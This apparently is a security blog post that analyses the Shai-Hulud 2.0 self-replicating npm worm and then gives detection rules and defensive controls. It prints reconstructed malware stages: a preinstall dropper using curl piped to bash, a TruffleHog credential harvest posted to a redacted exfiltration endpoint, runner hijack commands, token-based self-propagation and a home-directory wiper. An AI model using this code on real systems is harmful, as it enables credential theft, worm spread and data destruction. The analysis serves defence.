Tag Archives: TruffleHog

Shai-Hulud 2.0: Anatomy of the Self-Replicating npm Supply Chain Worm

On November 24, 2025, PostHog’s engineering team noticed something wrong with one of their npm packages. Within hours, it became clear this was not a one-off compromise – it was a self-replicating worm burning through the npm ecosystem at a pace no human response team could match. By the time defenders had a complete picture, 796 packages, 25,000+ repositories, and 33,185 harvested secrets later, Shai-Hulud 2.0 had already demonstrated exactly how fragile the developer toolchain trust model is.

I have been tracking supply chain threats since the SolarWinds campaign in 2020. Shai-Hulud 2.0 is qualitatively different from anything that came before it in the npm ecosystem: it is not a typosquat, not a dependency confusion attack, not a one-shot backdoor. It is a worm – fully automated, self-propagating, and capable of registering infected machines as persistent GitHub Actions runners under attacker control. This post tears it apart.

Threat Model

Who attacks this: Nation-state-adjacent threat actors and sophisticated financially motivated groups capable of compromising npm maintainer accounts at scale. The original Shai-Hulud campaign established the tooling; the 2.0 wave deployed it as a worm.

How: Multi-stage attack exploiting the implicit trust developers and CI/CD systems place in npm’s preinstall lifecycle hook. No user interaction beyond npm install is required.

Why: Mass credential harvesting at scale. A single infected CI runner may hold AWS AdministratorAccess keys, GitHub PATs with repo scope, and npm automation tokens – all of which the worm harvests automatically and exfiltrates before the process exits.

Impact:

  • Cloud credential theft leading to AWS/GCP/Azure account takeover
  • Persistent code execution on CI/CD infrastructure via GitHub Actions self-hosted runner registration
  • Supply chain propagation: stolen npm tokens republish backdoored versions of legitimate packages, extending the blast radius exponentially
  • Destructive wiper capability: if propagation or exfiltration fails, the malware wipes the developer’s home directory

The attack surface is every developer machine and CI runner that runs npm install on a compromised dependency – which, in a monorepo with 800+ dependencies, is every single pipeline run.

Technical Deep-Dive

Stage 1 – Initial Access: Poisoned Preinstall Hook

The attacker begins by compromising a legitimate npm maintainer account (via stolen credentials, session token hijack, or phishing) and publishing a new patch version of a widely-used package. The backdoor is injected into package.json:

{
  "name": "legitimate-package",
  "version": "2.4.1",
  "scripts": {
    "preinstall": "node setup_bun.js"
  }
}

The preinstall hook fires before any package code is executed, before tests run, and before most security tooling has a chance to inspect the payload. The script setup_bun.js is included in the package tarball.

Stage 2 – Dropper: setup_bun.js

setup_bun.js is a dropper written in Node.js. It checks for the Bun JavaScript runtime, installs it if absent using the official installer (making it look like a legitimate developer tool), and then launches the actual payload as a detached background process:

// setup_bun.js (reconstructed from analysis)
const { execSync, spawn } = require('child_process');
const os = require('os');
const path = require('path');

const BUN_CACHE = path.join(os.homedir(), '.truffler-cache');

function ensureBun() {
  try {
    execSync('bun --version', { stdio: 'ignore' });
  } catch {
    // Installs via official bun.sh installer - appears legitimate in logs
    execSync('curl -fsSL https://bun.sh/install | bash', { stdio: 'ignore' });
  }
}

function launchPayload() {
  const payload = path.join(__dirname, 'bun_environment.js');
  const proc = spawn(process.env.HOME + '/.bun/bin/bun', [payload], {
    detached: true,
    stdio: 'ignore',
  });
  proc.unref(); // Orphan the process - npm install returns normally
}

ensureBun();
launchPayload();

Using Bun rather than Node.js is deliberate: it reduces the chance of detection by endpoint tools tuned to watch Node.js process trees, and Bun’s single-binary distribution avoids leaving a node_modules footprint.

Stage 3 – Credential Harvest: Weaponised TruffleHog

bun_environment.js is the core payload. It downloads the latest TruffleHog binary from GitHub’s releases API, caches it in ~/.truffler-cache/, and runs a filesystem scan of the victim’s home directory:

// bun_environment.js - harvest phase (reconstructed)
import { $ } from 'bun';
import { homedir } from 'os';
import { join } from 'path';

const CACHE_DIR = join(homedir(), '.truffler-cache');
const TRUFFLEHOG = join(CACHE_DIR, 'trufflehog');
const EXFIL_ENDPOINT = 'https://[REDACTED]/ingest';

async function installTrufflehog() {
  const release = await fetch(
    'https://api.github.com/repos/trufflesecurity/trufflehog/releases/latest'
  ).then(r => r.json());

  const asset = release.assets.find(a => a.name.includes('linux_amd64'));
  const tarball = await fetch(asset.browser_download_url);
  // ... extract and cache binary
}

async function harvest() {
  const result = await $`${TRUFFLEHOG} filesystem ${homedir()} \
    --json \
    --no-update \
    --timeout=600s`.timeout(620_000).text();

  await fetch(EXFIL_ENDPOINT, {
    method: 'POST',
    body: result,
    headers: { 'Content-Type': 'application/json' },
  });
}

await installTrufflehog();
await harvest();
await registerRunner();  // Phase 3
await propagate();       // Phase 4

The 10-minute scan timeout is intentional – long enough to sweep a full home directory, short enough to avoid the kind of sustained CPU spike that would trigger an alert in most monitoring setups.

Target secrets include: AWS ~/.aws/credentials~/.aws/config; GCP ADC at ~/.config/gcloud/application_default_credentials.json; Azure ~/.azure/accessTokens.json; npm tokens in ~/.npmrc; GitHub tokens in ~/.config/gh/hosts.yml and git credential helpers; SSH private keys; .env files in any project directory under ~.

Stage 4 – Persistence: GitHub Actions Runner Hijack

After exfiltrating credentials, the malware uses a stolen GitHub token to register the compromised machine as a self-hosted GitHub Actions runner named SHA1HULUD:

# Reconstructed registration sequence
curl -sX POST \
  -H "Authorization: token ${STOLEN_GITHUB_TOKEN}" \
  -H "Accept: application/vnd.github+json" \
  https://api.github.com/repos/${ATTACKER_ORG}/${ATTACKER_REPO}/actions/runners/registration-token \
  | jq -r '.token' > /tmp/reg_token

./config.sh \
  --url https://github.com/${ATTACKER_ORG}/${ATTACKER_REPO} \
  --token $(cat /tmp/reg_token) \
  --name SHA1HULUD \
  --unattended \
  --replace

The runner registers against an attacker-controlled repository. Workflows are triggered via GitHub Discussions – a rarely monitored API surface that avoids the scrutiny applied to push and pull_request events. This gives the attacker persistent, durable remote code execution on the victim machine through GitHub’s own infrastructure.

Stage 5 – Propagation: Worm Self-Replication

The final stage converts the victim into a new infection source. Using the stolen npm token, the malware publishes backdoored patch versions of every package the victim maintains:

async function propagate() {
  const npmrc = await readFile(join(homedir(), '.npmrc'), 'utf8');
  const token = npmrc.match(/\/\/registry\.npmjs\.org\/:_authToken=(.+)/)?.[1];
  if (!token) return;

  // List victim's published packages via npm API
  const packages = await fetch(`https://registry.npmjs.org/-/user/${username}/packages`)
    .then(r => r.json());

  for (const pkg of Object.keys(packages)) {
    await injectAndPublish(pkg, token);
  }
}

Each newly published package contains the same dropper, encoded in double Base64 to evade static analysis tooling that pattern-matches against known malicious strings. Compromised repositories receive the description marker "Sha1-Hulud: The Second Coming." – a fingerprint the attacker uses to enumerate and manage their fleet.

If propagation fails (missing npm token, 2FA challenge, rate limiting), the worm falls back to a wiper:

import { rm } from 'fs/promises';
await rm(homedir(), { recursive: true, force: true });

This is not ransomware – there is no ransom demand. The wiper is a scorched-earth fallback designed to destroy forensic evidence and deny defenders access to the compromised machine.

Diagram

The diagram maps all four phases: initial infection via the poisoned npm preinstall hook, credential harvesting via weaponised TruffleHog, persistence via GitHub Actions runner registration with C2 over GitHub Discussions, and worm propagation via stolen npm tokens. The self-replication loop in the outer right is the defining characteristic of this campaign – each new victim becomes a new infection source.

Detection & Monitoring

Process Tree Anomalies

The most reliable detection signal is the process chain spawned during npm install. In any sane environment, npm install should not spawn curlbun, or trufflehog. The canonical infection chain:

npmsh -c node setup_bun.jsnode setup_bun.jsbuntrufflehog

Falco rule (for containerised CI runners):

- rule: Shai-Hulud npm Dropper Execution
  desc: Detects the Shai-Hulud infection chain spawned from npm preinstall
  condition: >
    spawned_process and
    proc.pname in (npm, node) and
    proc.name in (bun, curl, wget) and
    not proc.cmdline startswith "node /usr/local/lib"
  output: >
    Suspicious process spawned by npm (user=%user.name cmd=%proc.cmdline
    parent=%proc.pname container=%container.name)
  priority: CRITICAL
  tags: [supply_chain, shai_hulud]

- rule: TruffleHog Execution from Home Cache
  desc: Detects TruffleHog binary running from .truffler-cache
  condition: >
    spawned_process and
    proc.exe contains ".truffler-cache/trufflehog"
  output: >
    TruffleHog executed from suspect cache dir (user=%user.name
    exe=%proc.exe container=%container.name)
  priority: CRITICAL
  tags: [credential_theft, shai_hulud]

GitHub Actions Runner Registration

Unauthorised runner registrations are high-fidelity signals. GitHub emits a runner.created event in the audit log:

# Query GitHub org audit log for rogue runner registrations
gh api \
  /orgs/YOUR-ORG/audit-log \
  --field phrase="action:runners.create" \
  --field per_page=100 \
  | jq '.[] | select(.runner_name == "SHA1HULUD" or (.runner_name | test("sha1|hulud|SHA1"; "i")))
          | {timestamp: .created_at, actor: .actor, runner: .runner_name, repo: .repo}'

Splunk / SIEM detection rule:

index=github_audit action="runners.create"
| eval runner_lower=lower(runner_name)
| where match(runner_lower, "sha1hulud|sha1-hulud|shai.hulud")
    OR (isnotnull(runner_name) AND NOT match(actor, "^(your-org-bots)$"))
| stats count by actor, runner_name, repo, _time
| where _time > relative_time(now(), "-24h@h")

Network IOCs

IndicatorTypeConfidence
Outbound HTTPS to api.github.com/repos/trufflesecurity/trufflehog/releases from CI runnerDomainHigh
DNS for attacker C2 exfil endpoint (varies by campaign wave)DomainMedium
Bun installer: bun.sh/install fetch from build processDomainMedium
~/.truffler-cache/ directory creationFilesystemHigh
SHA1HULUD string in GitHub API callsStringCritical
Package description containing "Sha1-Hulud: The Second Coming."npm metadataCritical

npm Registry Monitoring

# Check if any of your dependencies were part of the campaign
# Cross-reference against published IOC lists from Datadog Security Labs / Palo Alto Unit 42
npm audit --audit-level=low 2>/dev/null | jq '.vulnerabilities | keys[]'

# Verify package integrity against known-good digest
npm view your-package@latest dist.integrity
# Compare against your lockfile entry:
cat package-lock.json | jq '.packages["node_modules/your-package"].integrity'


Defensive Controls

Prioritised by impact – the first two alone would have stopped this campaign dead.

1. Lock Your Dependency Graph – Completely

This is the highest-leverage control. A locked, verified dependency graph means a new malicious version published to npm cannot reach your build without explicit human action.

# npm: commit package-lock.json and use --frozen-lockfile in CI
npm ci  # Fails if package-lock.json doesn't match package.json

# Never run npm install in CI - always npm ci

In your CI pipeline, enforce this at the runner level:

# GitHub Actions
- name: Install dependencies (frozen)
  run: npm ci
  env:
    NPM_CONFIG_PREFER_OFFLINE: "true"
    NPM_CONFIG_AUDIT: "false"  # Audit separately, don't slow the install

2. Disable preinstall / postinstall Hooks

npm allows disabling lifecycle scripts globally. For CI environments, this should be non-negotiable:

# Disable all lifecycle hooks in CI
npm ci --ignore-scripts

For development environments where you need some scripts, use a per-package allowlist:

# .npmrc in your repo
ignore-scripts=true

# Then explicitly permit only the scripts you actually need:
# (There is currently no per-package ignore-scripts; rely on audit tooling instead)

3. Mirror npm Through a Private Registry with Allowlist

Run Verdaccio or JFrog Artifactory as a caching proxy. Every package version that enters your build must pass through it:

# .npmrc
registry=https://your-registry.internal/npm/
always-auth=true

Configure your registry to require manual promotion of any new version of a pinned dependency. New patch versions do not automatically become available to builds – a human reviews the diff first.

4. Pin Dependencies to Exact Versions + Digest Verification

# package.json - no ranges, exact versions only
{
  "dependencies": {
    "express": "4.18.2",  # Not ^4.18.2
    "lodash": "4.17.21"
  }
}

Consider socket.dev or snyk for continuous monitoring of your dependency graph for new versions that introduce suspicious scripts, network access, or filesystem writes.

5. Sandbox Your CI Runners

The Shai-Hulud payload requires outbound HTTPS to GitHub’s API, bun.sh, and the attacker’s C2. Egress filtering kills it:

# GitHub Actions: use ephemeral, network-restricted runners
jobs:
  build:
    runs-on: ubuntu-latest
    # Or: use a self-hosted runner in a VPC with egress restricted
    # to your private registry, GitHub API, and nothing else

For self-hosted runners, enforce egress via firewall:

# Allow only necessary outbound destinations from CI runner subnet
iptables -A OUTPUT -d registry.npmjs.org -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -d github.com -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -d your-internal-registry -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -j DROP  # Block everything else

6. Rotate Credentials Stored in CI Environments

If you ran npm install on any dependency active during the November 2025 campaign wave:

  1. Rotate your npm automation token immediately
  2. Rotate GitHub PATs and check for unauthorised runner registrations (Settings → Actions → Runners)
  3. Rotate AWS/GCP/Azure credentials stored in ~/.aws~/.config/gcloud~/.azure
  4. Audit ~/.npmrc~/.netrc, and all .env files for tokens that may have been exfiltrated
  5. Check ~/.truffler-cache/ – its existence is a high-confidence infection indicator

Control Effectiveness Summary

ControlStops Phase 1Stops Phase 2Stops Phase 3Stops Phase 4Complexity
npm ci --ignore-scriptsYesYesYesYesLow
Frozen lockfilePartialPartialPartialPartialLow
Private registry with allowlistYesYesYesYesMedium
Egress filtering on CI runnersNoYesPartialPartialMedium
Falco / process tree monitoringNoNoDetectDetectMedium
GitHub audit log monitoringNoNoDetectNoLow
Credential rotationNoNoMitigateNoLow

Takeaways

  1. npm install in CI without --ignore-scripts is a pre-auth RCE primitive. The preinstall hook runs as the CI user before any defensive tooling can act. Disable lifecycle scripts in all CI environments with npm ci --ignore-scripts. No exceptions, no convenience carve-outs.
  2. Your CI runner’s credentials are your most valuable attack surface. Shai-Hulud 2.0 does not exploit a CVE – it exploits the credential density of developer environments. A single infected build contains the keys to your cloud, your registry, and your source control. Treat CI credential stores with the same rigour as production secrets.
  3. Self-hosted GitHub Actions runners are persistent backdoors if not tightly scoped. The runner registration attack is surgical: it turns GitHub’s own infrastructure into C2. Audit runner registrations daily. Any runner named by a process you did not authorise should be treated as a full incident, not a misconfiguration.
  4. The wiper fallback is a deliberate forensic denial technique. If you detect a potential Shai-Hulud infection, isolate the machine before attempting remediation – do not let the process finish. The wiper triggers when propagation fails, which means killing the network connection mid-execution may destroy your home directory.
  5. Open-source tooling used by defenders can be weaponised offensively at scale. TruffleHog is a legitimate, widely trusted secret-scanning tool. Shai-Hulud 2.0 downloads it directly from the official GitHub releases endpoint, which means network-based allowlists that trust github.com do not block the harvest stage. The attacker’s operational security here is sharp.

References